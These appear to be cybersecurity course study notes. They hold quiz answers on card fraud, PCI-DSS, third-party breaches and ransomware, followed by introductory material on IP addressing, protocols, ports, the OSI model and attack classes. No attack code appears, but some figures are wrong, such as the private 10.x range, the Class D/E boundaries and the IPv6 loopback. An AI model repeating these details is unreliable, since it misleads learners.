* If your credit card is stolen from a PoS system, what is the first thing the thief is likely to do with your card data?
  * Sell it to a distributor
    * Sell to a broker who will then sell in bulk to "carders" who then purchase pre-paid credit cards which are then used to buy gift cards which are then used to buy goods which are then sold for profit after being shipped to a re-shipper
* PCI-DSS can best be described how?
  * A voluntary payment card industry data security standard
* Which group suffers from the most PoS attacks?
  * Restaurants and small retail stores.
* Which three (3) of these control processes are included in the PCI-DSS standard?
  * **Protect cardholder data**

    **Build and maintain a secure network and systems**

    Require use of multi-factor authentication for new card holders

    **Maintain a vulnerability management program**
* Which three (3) of these are PCI-DSS requirements for any company handling, processing or transmitting credit card data?
  * **Encrypt transmission of cardholder data across open, public networks**

    **Use and regularly update antivirus software**

    All employees with direct access to cardholder data must be bonded

    **Develop and maintain secure systems and applications**
* When is credit card data most vulnerable to PoS malware?
  * While in RAM
* Which scenario best describes how a stolen credit card number is used to enrich the thief?
  * Stolen credit card numbers are sold to brokers who resell them to carders who use them to buy prepaid credit cards that are then used to buy gift cards that will be used to buy merchandise for resale
* Which three (3) of these were cited as the top 3 sources of third-party breach?

### 3rd Party Breach

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPr1YfnqbIRHXBeJ-eZ%2F-MPr38FFiYdx-T99rSBN%2Fimage.png?alt=media\&token=1c6e0584-069e-400f-8d9e-05bf0490e80d)

* A cyber attack originating from which three (3) of the following would be considered a supply-chain attack?
  * E-mail providers

    Subcontractors

    Web hosting companies
* Which three (3) of these were cited as the top 3 sources of third-party breach?
  * Cloud-based storage or hosting providers
  * Online payment or credit card processing services
  * JavaScript on websites used for web analytics
* True or **False**. While data loss from a third-party breach can be expensive, third-party breaches account for less than 22% of all breaches.
* According to a 2019 Ponemon study, what percent of consumers say they will defect from a business if their personal information is compromised in a breach?
  * 80%
* **True** or False. According to a 2018 Ponemon study, organizations surveyed cited "A third-party misused or shared confidential information..." as their top cyber security concern for the coming year.
* How effective were the processes for vetting third-parties as reported by the majority (64%) of the companies surveyed?
  * Somewhat or not effective
* In the first few months of 2020 data breaches were reported from Instagram, Carson City, Amazon, GE, T-Mobile, radio.com, MSU, and Marriot. While different data were stolen from each organization, which two data elements were stolen from all of them?
  * Personal information
  * Customer financial information
* **True** or False. More than 63% of data breaches can be linked to a third-party.
* According to a 2019 Ponemon study, which is the most common course of action for a consumer who has lost personal data in a breach?
  * Tell others of their experience

### Ransomware

![City of Atlanta Case Study](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPr1YfnqbIRHXBeJ-eZ%2F-MPr42Ykv_xv2ZiQTvkx%2Fimage.png?alt=media\&token=3b72282c-1c22-40e1-934b-3d5d305c98b2)

![Ransomware Examples](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MPr1YfnqbIRHXBeJ-eZ%2F-MPr4QPAPTUn4M77HBxD%2Fimage.png?alt=media\&token=12a2d708-3ba5-4298-bf31-99eb2f235a0f)

* 3 Main Types
  * Crypto: Specific files encrypted
  * Locker: Completely locks out device
  * Leakware/Doxware: e.g. footage from webcam
* Attack Vectors
  * Phishing
  * RDP
  * Software Vulns
  * Malicious Links
* What is the most important thing to have in place that will save you from having to pay a ransom in the event you have fallen victim to a ransomware attack?
  * A full system backup
* Which ransomware spread across 150 countries in 2017 and was responsible for over $4 billion in losses worldwide?
  * WannaCry
* True or **False**. Projections are that ransomware will not be a significant problem in the future as operating systems become more secure and anti-malware applications gain in sophistication.
* **True** or False. It is feared that in the future our cars, homes and factories may fall victim to ransomware attacks as more and more devices join the Internet of Things.


# ISCI CNSS Course

{% content-ref url="/pages/-M7TyLTHxxZVD1wSuadc" %}
[Introduction to Network Security](/network-security/courses/isci-cnss-course/introduction)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m093LXpy1BHu9wRn" %}
[Types of Attacks](/network-security/courses/isci-cnss-course/types-of-attacks)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8gl7i4hhR4y2HxW" %}
[Fundamentals of Firewalls](/network-security/courses/isci-cnss-course/fundamentals-of-firewalls)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8dVEpDlIMvViNem" %}
[Intrusion-Detection Systems](/network-security/courses/isci-cnss-course/intrusion-detection-systems)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8aJ\_sW2PXSuAm32" %}
[Fundamentals of Encryption](/network-security/courses/isci-cnss-course/fundamentals-of-encryption)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8XmJxo2yvUcPX4q" %}
[Virtual Private Networks (VPN)](/network-security/courses/isci-cnss-course/virtual-private-networks-vpn)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8UBPZMHCFBEV0Tx" %}
[Operating System Hardening](/network-security/courses/isci-cnss-course/operating-system-hardening)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8ROzIW0LNnnvZ7k" %}
[Virus Attacks and How to Defend](/network-security/courses/isci-cnss-course/virus-attacks-and-how-to-defend)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8NzB-urWr2-OXR5" %}
[Security Policies](/network-security/courses/isci-cnss-course/security-policies)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8KUDV1yH3E4TTfM" %}
[Assessing System Security](/network-security/courses/isci-cnss-course/assessing-system-security)
{% endcontent-ref %}

{% content-ref url="/pages/-M87m8GA8ZCG3sRMpmOo" %}
[Security Standards](/network-security/courses/isci-cnss-course/security-standards)
{% endcontent-ref %}

{% content-ref url="/pages/-M87mUYi7DbNJ\_R7lABQ" %}
[Physical Security and Recovery](/network-security/courses/isci-cnss-course/physical-security-and-recovery)
{% endcontent-ref %}

{% content-ref url="/pages/-M87mTy263aWOuz5kuKg" %}
[Attackers Techniques](/network-security/courses/isci-cnss-course/attackers-techniques)
{% endcontent-ref %}


# Introduction to Network Security


# Network Basics

A network is simply a way for machines / computers to communicate.

At the physical level, it consists of all the machines you want to connect and the devices you use to connect them. Individual machines are connected either with a physical connection (a category 5 cable going into a network interface card, or NIC) or wirelessly. To connect multiple machines together, each machine must connect to a hub or switch, and then those hubs / switches must connect together. In larger networks, each subnetwork is connected to the others by a router.

### Basic Network Structure

Some connection point(s) must exist between your network and the outside world. A barrier is set up between that network and the Internet, usually in the form of a firewall. The real essence of networks is communication allowing one machine to communicate with another.

### Data Packets

After you have established a connection with the network (whether it is physical or wireless), you need to send data.

The first part is to identify where you want to send it. All computers (as well as routers and switches), have an IP address.

The second part is to format the data for transmission. All data is in binary form (1s and 0s). This binary data is put into packets, all less than about 65,000 bytes. The first few bytes are the header. That header tells where the packet is going, where it came from, and how many more packets are coming as part of this transmission.

A packet can have multiple headers. In fact, most packets will have at least three headers. The IP header has information such as IP addresses for the source and destination, as well as what protocol the packet is. The TCP header has information such as port number. The Ethernet header has information such as the MAC address for the source and destination. If a packet is encrypted with Transport Layer Security (TLS), it will also have a TLS header.

### IP Addresses

1 byte is 8 bits (1s and 0s), and an 8-bit binary number converted to decimal format will be between 0 and 255. The total of 32 bits means that approximately 4.2 billion possible IP version 4 addresses exist.

The first byte (or the first decimal number) in an address reveals what network class that machine belongs to. The IP address 127.0.0.1 designates the machine you are on, regardless the IP address assigned to your machine. This address is referred as the loopback address. That address is used in testing the machine and the NIC card.

| **Class** | IP Range | **Use**                           |
| --------- | -------- | --------------------------------- |
| A         | 0-126    | large networks                    |
| B         | 128-191  | large corporate and govt networks |
| C         | 192-223  | most common croup                 |
| D         | 224-247  | reserved for multicasting         |
| E         | 248-255  | reserved for experimental use     |

These particular classes are important as they tell you what part of the address represents the network and what part represents the node. For example, in a Class A address, the first octet represents the network, and the remaining three represent the node. In a Class B address, the first two octets represent the network, and the second two represent the node. And finally, in a Class C address, the first three octets represent the network, and the last represents the node.

Designated ranges that cannot be used as public IP addresses:

* **10.0.0.10 to 10.255.255.255**
* **172.16.0.0 to 172.31.255.255**
* **192.168.0.0 to 192.168.255.255**

**NAT:** One of the roles of a gateway router is to perform what is called network address translation (NAT). Using NAT, a router takes the private IP address on outgoing packets and replaces it with the public IP address of the gateway router so that the packet can be routed through the Internet.

**Subnetting** is simply splitting up a network into smaller portions. The **subnet mask** is a 32-bit number that is assigned to each host to divide the 32-bit binary IP address into network and node portions. You also cannot just put in any number you want. The first value of a subnet mask must be 255; the remaining three values can be 255, 254, 252, 248, 240, 224, or 128. Your computer will take your network IP address and the subnet mask and use a binary AND operation to combine them.

* If you have a Class C IP address, then your network subnet mask is 255.255.255.0. If you have a Class B IP address, then your subnet mask is 255.255.0.0. And finally, if it is Class A, your subnet mask is 255.0.0.0.
* Now if you want fewer than 255 nodes in your subnet, then you need something like 255.255.255.240 for your subnet. If you convert 240 to binary, it is 11110000. That means the first three octets and the first 4 bits of the last octet define the network. The last 4 bits of the last octet define the node. That means you could have as many as 1111 (in binary) or 15 (in decimal) nodes on this subnetwork.

**CIDR**: classless interdomain routing (replaces the old system based on classes A, B, and C; extend the life of IPv4 as well as slow the growth of routing tables) based on **VLSM: variable-length subnet masking**

* Rather to define a subnet mask, you have the IP address followed by a slash and a number. That number can be any number between 0 and 32.  The second part is the suffix which indicates how many bits are in the entire address (e.g. `/12`).
  * 192.168.1.10/24 (basically a Class C IP address)
  * 192.168.1.10/31 (much like a Class C IP address with a subnet mask)

Note that an ISP often will buy a pool of public IP addresses and assign them to you when you log on. Therefore, an ISP might own 1,000 public IP addresses and have 10,000 customers. Because all 10,000 customers will not be online at the same time, the ISP simply assigns an IP address to a customer when he or she logs on, and the ISP un-assigns the IP address when the customer logs off.

**IPv6**: utilizes a 128-bit address (instead of 32) and utilizes a hex numbering method in order to avoid long addresses

* only CIDR, no subnetting
* There is a loopback address for IPv6, and it can be written as `::/128`.

Differences between IPv4 and IPv6:

* Link/machine-local.
* IPv6 version of IPv4’s APIPA or Automatic Private IP Addressing. So if the machine is configured for dynamically assigned addresses and cannot communicate with a DHCP server, it assigns itself a generic IP address. DHCP, or Dynamic Host Configuration Protocol, is used to dynamically assign IP addresses within a network.
* IPv6 link/machine-local IP addresses all start with fe80::. So if your computer has this address, that means it could not get to a DHCP server and therefore made up its own generic IP address.
* Site/network-local.
* IPv6 version of IPv4 private address. In other words, these are real IP addresses, but they only work on this local network. They are not routable on the Internet.
* All site/network-local IP addresses begin with FE and have C to F for the third hexadecimal digit: FEC, FED, FEE, or FEF.
* DHCPv6 uses the Managed Address Configuration Flag (M flag).
* When set to 1, the device should use DHCPv6 to obtain a stateful IPv6 address.
* Other stateful configuration flag (O flag).
* When set to 1, the device should use DHCPv6 to obtain other TCP/IP configuration settings. In other words, it should use the DHCP server to set things like the IP address of the gateway and DNS servers.

### Uniform Resource Locator (URL)

Your computer, or your ISP, must translate the name you typed in (called a Uniform Resource Locator, or URL) into an IP address. The DNS (Domain Name Service) protocol, which is introduced along with other protocols a bit later, handles this translation process. If that address is found, your browser sends a packet (using the HTTP protocol) to TCP port 80. If that target computer has software that listens and responds to such requests (like web-server software such as Apache or Microsoft Internet Information Services), then the target computer will respond to your browser’s request and communication will be established.

#### Email

E-mail works the same way as visiting websites. Your e-mail client will seek out the address of your e-mail server. Then your e-mail client will use either **POP3** to retrieve your incoming e-mail, or **SMTP** to send your outgoing e-mail. Your e-mail server (probably at your ISP or your company) will then try to resolve the address you are sending to. If you send something to <johndoe@gmail.com>, your e-mail server will translate that e-mail address into an IP address for the e-mail server at gmail.com, and then your server will send your e-mail there. Note that newer e-mail protocols are out there; however, **POP3** is still the most commonly used.

**IMAP** is now widely used as well. Internet Message Access Protocol operates on port 143. The main advantage of **IMAP** over **POP3** is it allows the client to download only the email headers, and then the user can choose which messages to fully download. This is particularly useful for smart phones.

### MAC Addresses

A **MAC** address is a unique address for a **network interface card** (**NIC**). Every **NIC** in the world has a unique address that is represented by a six-byte hexadecimal number. The **Address Resolution Protocol** (**ARP**) is used to convert IP addresses to **MAC** addresses. So, when you type in a web address, the **DNS** protocol is used to translate that into an IP address. The **ARP** protocol then translates that IP address into a specific **MAC** address of an individual **NIC**.

IEEE assigns the first three bytes (24 bits) of the **MAC** address to a vendor. This part of the address is known as **Organizationally Unique Identifier** (**OUI**). The **OUI** helps professionals to determine the **MAC** address manufacturer. The remaining three bytes (24 bits) are assigned by the vendor. The **MAC** address is equal to 48 bits.

### Protocols

A protocol is, essentially, an agreed method of communication. In fact, this definition is exactly how the word protocol is used in standard, non-computer usage. Each protocol has a specific purpose and normally operates on a certain port.&#x20;

All these protocols are part of a suite of protocols referred to as TCP/IP (Transmission Control Protocol/Internet Protocol). Note: not a complete list of protocols.

| Protocol                                   | Purpose                                                                      | Port             |
| ------------------------------------------ | ---------------------------------------------------------------------------- | ---------------- |
| FTP (File Transfer Protocol)               | For transferring files between computers                                     | 20,21            |
| SSH (Secure Shell)                         | A secure way to transfer files (SCP) and remotely login to a system          | 22               |
| Telnet                                     | Remotely login to a system                                                   | 23               |
| SMTP (Simple Mail Transfer Protocol)       | For sending emails                                                           | 25               |
| WhoIS                                      | A command to query a target for information                                  | 43               |
| DNS (Domain Name Service)                  | For translating URLs to IP addresses                                         | 53               |
| TFTP (Trivial File Transfer Protocol)      | Quick but less reliable FTP server                                           | 69               |
| HTTP (Hypertext Transfer Protocol)         | For displaying web pages                                                     | 80               |
| POP3 (Post Office Protocol v3)             | Retrieves email                                                              | 110              |
| NNTP (Network News Transfer Protocol)      | Used for network news group                                                  | 119              |
| NetBIOS                                    | An old Microsoft protocol for naming systems on a local network              | 137,138,139      |
| IRC (Internet Relay Chat)                  | Chat Room                                                                    | 194              |
| HTTPS (Secure Hypertext Transfer Protocol) | Encrypted HTTP (SSL/TLS)                                                     | 443              |
| SMB (Server message Block)                 | Used by Microsoft Active Directory                                           | 445              |
| ICMP (Internet Control Message Protocol)   | Simple packets containing error messages, informational and control messages | No specific port |

**Ports:** A port in networking terms is a handle, a connection point. It is a numeric designation for a particular pathway of communications.&#x20;

All network communication, regardless of the port used, comes into your computer through the connection on your NIC. You might think of a port as a channel on your TV. You probably have one cable coming into your TV but you can view many channels. You have one cable coming into your computer, but you can communicate on many different ports.


# Basic Network Utilities

### ipconfi&#x67;**/ifconfig**

This command gives you information about your connection to a network (or to the Internet). Most importantly, you find out your own IP address. The command also has the IP address for your default gateway, which is your connection to the outside world. Running the ipconfig command is a first step in determining your system’s network configuration. There are many flags, but a common method is to use `ipconfig /all`.

### ping

Ping is used to send a test packet, or echo packet, to a machine to find out whether the machine is reachable and how long the packet takes to reach the machine.

**TTL** means “time to live.” That time unit is how many intermediary steps, or hops, the packet should take to the destination before giving up.

### **tracert/traceroute**

Tracert not only tells you whether the packet got there and how long it took, but it also tells you all the intermediate hops it took to get there.

### netstat

Essentially, this command tells you what connections your computer currently has. If you see many private IP addresses, your network has internal communication going on.


# The OSI Model

The Open Systems Interconnect (OSI) model describes how networks communicate.

The OSI Model describes the various protocols and activities and states how the protocols and activities relate to each other. This model is divided into seven layers. It was originally developed by the International Organisation for Standardization (ISO) in the 1980s.

| **Layer**            | **Description**                                                                                                                                                                                                        | **Protocols**                                                                  |
| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| **Application (7)**  | **This layer interfaces directly to applications and performs common application services for the application processes**                                                                                              | **POP, SMTP, DNS, FTP, Telnet, HTTP**                                          |
| **Presentation (6)** | **Relieves the application layer of concern regarding syntactical differences in data representation within the end-user systems.**                                                                                    | **Network Data Representation (NDR), Lightweight Presentation Protocol (LPP)** |
| **Session (5)**      | **Provides the mechanism for managing the dialogue between end-user application processes**                                                                                                                            | **NetBIOS**                                                                    |
| **Transport (4)**    | **Provides end-to-end communication control**                                                                                                                                                                          | **TCP,UDP**                                                                    |
| **Network (3)**      | **Routes information in the network**                                                                                                                                                                                  | **IP,ARP,ICMP**                                                                |
| **Data Link (2)**    | **Describes the logical organisation of data bits transmitted on a particular medium. The data link layer is divided in two sublayers: the Media Access Control Layer (MAC) and the Logical Link Control Layer (LLC)** | **SLIP, PPP**                                                                  |
| **Physical (1)**     | **Describes the physical properties of various communication media as well as the electrical properties and interpretation of the exchanged signals. The physical layer is the actual NIC and the Ethernet cable.**    | **IEEE 1394, DSL, ISDN**                                                       |


# Threat Classification

Most attacks can be categorized as one of three broad classes:

* **Intrusion**: attacks meant to breach security and gain unauthorized access to a system
* **Blocking**: attacks designed to prevent legitimate access to a system
* **Malware**: attacks to install malware on a system

### Intrusion

Intruding onto a system without permission, usually with malicious intent, colloquially called hacking, is known as cracking. Any attack designed to breach security, either via some operating system flaw or any other means, can be classified as cracking. Includes security flaws, social engineering, war driving .

### Blocking/Denial of Service

A ‘denial-of-service’ attack is characterised by an explicit attempt by attackers to prevent legitimate users of a service from using that service. One often-used blocking method is flooding the targeted system with so many false connection requests that it cannot respond to legitimate requests. DoS is an extremely common attack method.

### Malware

Malware is probably the most common threat to any system, including home users’ systems, small networks, and large enterprise wide-area networks.

**Virus**: a program that can ‘infect’ other programs by modifying them to include a possibly evolved copy of itself

**Trojan**: a benign-looking program that can be freely downloaded but contains some virus or other malware

**Spyware**: software that keeps track of what you do on your computer, e.g. a keylogger, periodic screenshots, something that saves cookies or browsing history. Data is stored for later retrieval or immediately sent through email or such.


# Security Terminology

**Firewall:** A firewall is a barrier between a network and the outside world. Sometimes a firewall is a stand-alone server, sometimes a router, and sometimes software running on a machine. Whatever it’s physical form, the purpose is the same: to filter traffic entering and exiting a network. Firewalls are related to, and often used in conjunction with, a proxy server.

**Proxy Server:** A proxy server hides your internal network IP addresses and presents a single IP address (its own) to the outside world.

Firewalls and proxy servers are added to networks to provide basic perimeter security. They filter incoming and outgoing network traffic but do not affect traffic on the network.

**Intrusion Detection System (IDS):** An IDS monitor’s traffic looking for suspicious activity that might indicate an attempted intrusion.

**Access control** is the aggregate of all measures taken to limit access to resources. This includes logon procedures, encryption, and any method that is designed to prevent unauthorised personnel from accessing a resource. Authentication is clearly a subset of access control, perhaps the most basic security activity.

**Authentication** is simply the process of determining whether the credentials given by a user or another system, such as a username and password, are authorised to access the network resource in question.

**Non-repudiation** is any technique that is used to ensure that someone performing an action on a computer cannot falsely deny that they performed that action. Various system logs provide one method for non-repudiation. **Auditing** is the process of reviewing logs, records, and procedures to determine whether they meet standards.

**Least privilege**: you only assign the minimum privileges required for that person to do his job, no more.

**Confidentiality, Integrity, and Availability (CIA Triad):** All security measures should affect one or more of these areas. For example, hard drive encryption and good passwords help protect confidentiality. Digital signatures help ensure integrity, and a good backup system, or network server redundancy, can support availability.

**Hacking Terminology**

* In the hacking community, a **hacker** is an expert on a particular system or systems who wants to learn more about the system. Hackers feel that looking at a system’s flaws is the best way to learn about it.
* **White hat hackers**, upon finding vulnerability in a system, will report the vulnerability to the vendor of that system.
* **Black hat hackers** are the people normally depicted in the media (e.g., movies and news). After they gain access to a system, their goal is to cause some type of harm. They might steal data, erase files, or deface websites. Black hat hackers are sometimes referred to as crackers.
* **Grey hat hackers** are typically law-abiding citizens, but in some cases will venture into illegal activities. They might do so for a wide variety of reasons. Commonly, grey hat hackers conduct illegal activities for reasons they feel are ethical, such as hacking into a system belonging to a corporation that the hacker feels is engaged in unethical activities.


# Approaches of Network Security

A particular approach, or paradigm, will influence all subsequent security decisions and set the tone for the entire organisation’s network security infrastructure. Network security paradigms can be classified by either the scope of security measures taken (perimeter, layered) or how proactive the system is.

### Perimeter Security Approach

Perimeter security approach is focused on the perimeter of the network, which might include firewalls, proxy servers, password policies, and any technology or procedure that makes unauthorised access of the network less likely. A small organisation might use the perimeter approach if they have budget constraints or inexperienced network administrators.

### **Layered Security Approach**

A layered security approach is one in which not only is the perimeter secured, but individual systems within the network are also secured. All servers, workstations, routers, and hubs within the network are secure. One way to accomplish this is to divide the network into segments and secure each segment as if it were a separate network so that, if perimeter security is compromised, not all internal systems are affected. Layered security is the preferred approach whenever possible.

A **passive security approach** takes few or no steps to prevent an attack.&#x20;

A **dynamic security approach**, or proactive defence, is one in which steps are taken to prevent attacks before they occur, e.g. IDS.

### **Hybrid Security Approach**

One can have a network that is predominantly passive but layered, or one that is primarily perimeter, but proactive. Considering approaches to computer security along a Cartesian coordinate system, with the x axis representing the level of passive-active approaches and the y axis depicting the range from perimeter to layered defence, can be helpful. The most desirable hybrid approach is a layered paradigm that is dynamic.


# Law and Network Security

If your organisation is a publicly traded company, a government agency, or does business with either, there may be legal constraints to choose your security approach.

Computer Security Act of 1987 requires government agencies to identify sensitive systems, conduct computer security training, and develop computer security plans. This law is a vague mandate ordering federal agencies in the United States to establish security measures without specifying any standards.

**Sensitive information** is any information, the loss, misuse, or unauthorised access to or modification of which could adversely affect the national interest or the conduct of Federal programs, or the privacy to which individuals are entitled under section 552a of title 5, United States Code (the Privacy Act), but which has not been specifically authorised under criteria established by an Executive order or an Act of Congress to be kept secret in the interest of national defence or foreign policy.

When considering what information needs to be secure, simply ask the question: Would the unauthorised access or modification of this information adversely affect my organisation? If the answer is “yes,” then you must consider that information “sensitive” and in need of security precautions.

Computer Misuse Act 1990 is the base law for all other computer related laws in the UK. It applies to the whole of UK and is usually the underlying law used to charge a suspect over a computer crime. Crimes like credential stealing, hacking and phishing are considered Section 1 offences, which can lead to 6 months to 2 years in prison. Section 2 crimes are the crimes intended to be performed, after a hacker has penetrated the system, such as using the credentials stolen to access a server, or committing fraud. Guilty with the section 2 act of the computer misuse act can lead to up to 5 years in prison.

Privacy laws (like Health Insurance Portability and Accountability Act \[HIPAA], for medical records) also has a direct impact on computer security. If a system is compromised and data that is covered under any privacy statute is compromised, you might need to prove that you exercised due diligence to protect that data. A finding that you did not take proper precautions can result in civil liability.


# Types of Attacks




---

[Next Page](/llms-full.txt/1)

